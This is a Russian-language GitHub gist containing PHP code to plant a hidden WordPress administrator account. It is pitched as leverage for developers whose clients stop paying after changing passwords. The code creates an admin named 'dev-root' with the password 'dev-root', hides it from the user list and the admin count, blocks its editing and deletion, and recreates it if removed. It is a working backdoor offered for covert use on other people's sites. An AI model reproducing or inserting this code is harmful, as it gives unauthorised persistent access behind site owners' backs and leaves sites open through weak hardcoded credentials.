Skip to content

Instantly share code, notes, and snippets.

@EugeneZheleznov
Last active February 3, 2023 13:21
Show Gist options
  • Save EugeneZheleznov/6f81c641cecf772e2f4195efe14da729 to your computer and use it in GitHub Desktop.
Save EugeneZheleznov/6f81c641cecf772e2f4195efe14da729 to your computer and use it in GitHub Desktop.
[Скрытый админ] #wp

Скрытый админ WordPress

Часто случается такое, что после выполненных работ на чужом сайте, заказчик меняет пароли и отказывается платить
Чтобы себя обезопасить, мы можем создать скрытого админа в файле function.php или же лучше подключить к нему другой файл, в котором будет этот код

Админ не удаляется даже из БД

$id = ‘5’; — Указывает админа которого надо скрыть из списка пользователей, нужно посмотреть сколько всего пользователей и ставить своего

add_action('pre_user_query','evgen_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','misha_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
 
function evgen_protect_user_query( $user_search ) {
	$user_id = get_current_user_id();
	$id = '5';
 
	if ( is_wp_error( $id ) || $user_id == $id)
		return;
 
	global $wpdb;
	$user_search->query_where = str_replace('WHERE 1=1',
				"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
				$user_search->query_where
				);
}
 
function protect_user_count( $views ){
 
	$html = explode('(',$views['all']);
	$count = explode(')',$html[1]);
	$count[0]--;
	$views['all'] = $html[0].'('.$count[0].')'.$count[1];
 
	$html = explode('(',$views['administrator']);
	$count = explode(')',$html[1]);
	$count[0]--;
	$views['administrator'] = $html[0].'('.$count[0].')'.$count[1];
 
	return $views;
}
 
function misha_protect_users_profiles() {
	$user_id = get_current_user_id();
	$id = '5';
 
	if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
		wp_die(__( 'Invalid user ID.' ) );
}
 
function protect_user_from_deleting(){
 
	$id = '5';
 
	if( isset( $_GET['user'] ) && $_GET['user']
	&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
	&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
		wp_die(__( 'Invalid user ID.' ) );
 
}
 
$args = array(
	'user_login' => 'dev-root',
	'user_pass' => 'dev-root',
	'role' => 'administrator',
	'user_email' => 'dev-root@dev-root.net'
);
 
if( !username_exists( $args['user_login'] ) ){
	$id = wp_insert_user( $args );
	update_option('5', $id);
 
	// если мультисайт, то можно и суперадминистратора добавить
	// grant_super_admin( $id );
} else {
	$hidden_user = get_user_by( 'login', $args['user_login'] );
	if ( $hidden_user->user_email != $args['user_email'] ) {
		$id = get_option( '5' );
		$args['ID'] = $id;
		wp_insert_user( $args );
	}	
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment